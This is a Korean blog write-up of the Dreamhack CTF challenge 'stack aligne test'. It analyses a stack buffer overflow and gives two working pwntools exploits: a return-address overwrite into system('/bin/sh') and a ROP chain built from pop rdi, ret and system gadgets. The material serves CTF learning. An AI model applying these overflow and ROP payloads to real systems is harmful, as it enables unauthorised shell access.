[Dreamhack] stack aligne test

pandas·2024년 10월 31일
0

Dreamhack

목록 보기
11/14

00. 문제 파일

01. 바이너리 분석


main함수에서 호출하는 함수중 하나이다
닉값한다
buf[16]0x100만큼 넉넉히 입력을 받으니 BOF가 터진다

원래 인텐은 키 비교하고 이렇게 하는건데 언인텐 풀이가 존재한다!



BOF터지고 get_flag함수 있고, 너무나도 친절하게도 system('/bin/sh')을 호출해준다

02. 공격 시나리오

0x00. rao

rao를 해주면 된다
BOF를 터트리고 get_flag함수 위에 뭐 자잘한게 많은데 걍 바로 return system("/bin/sh"); 주소를 걍 때려넣으면 된다

0x01. R.O.P.

걍 쌩으로 ROP를 조져놓으면 된다
system있고, /bin/sh있고, pop rdi있으면 다 해줬잖아

03. Exploit

0x00. rao


ida에서 얍 하고 보면 get_flag함수의 system("/bin/sh"); 호출 부분이다
/bin/sh을 넣어서 실행하는 주소가 0x40143C부분이니깐

buf (16바이트) | SFP (8바이트) | get_shell 주소 로 페이로드를 구상하면 된다

b"A"*(0x10+0x8) + p64(get_shell)

from pwn import *

p = process("./chall")
#p = remote("host3.dreamhack.games", [port])

get_shell = 0x000000000040143C

payload = b"A"*(0x10+0x8) + p64(get_shell)

print(payload)

p.sendlineafter(b"Input: ", payload)

p.interactive()

여기서 get_shell주소를 잘못 알고 있어서 2시간을 태웠다
하하

0x01. ROP

ret, pop rdi, system, /bin/sh를 찾아주면 된다
pie없으니 바로 주소 넣어주면 된다

1. ret가젯

ROPgadget --binary ./chall | grep "ret"

pop_rdi = 0x0000000000401565

2. system함수 주소
e = ELF("./chall")
system = e.symbols['system']
3. /bin/sh주소

bin_sh = 0x4020c4

4. pop rdi주소

ROPgadget --binary ./chall | grep "pop rdi"

pop_rdi = 0x0000000000401565

from pwn import *

#p = process("./chall")
p = remote("host3.dreamhack.games", [port])
e = ELF("./chall")

pop_rdi = 0x0000000000401565
system = e.symbols['system']
bin_sh = 0x4020c4
ret = 0x000000000040101a

payload = b"A"*(0x10+0x8) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)
p.sendline(payload)

p.interactive()

04. Reivew

rao를 할때 system함수 주로를 이상한거 끌고 와서 2시간 삽질했다
pwngdb로 동적분석을 하는 방법을 연습해야겠다는 생각이 들었다
ROP로 하면 바로 풀리니깐 신기했다
언인텐이라 쉬웠지, 인텐으로는 풀 수 있을까라는 생각이 들었다
삽질한 시간이 너무 아까운 문제였다

profile
KDMHS 23 WP

0개의 댓글

관련 채용 정보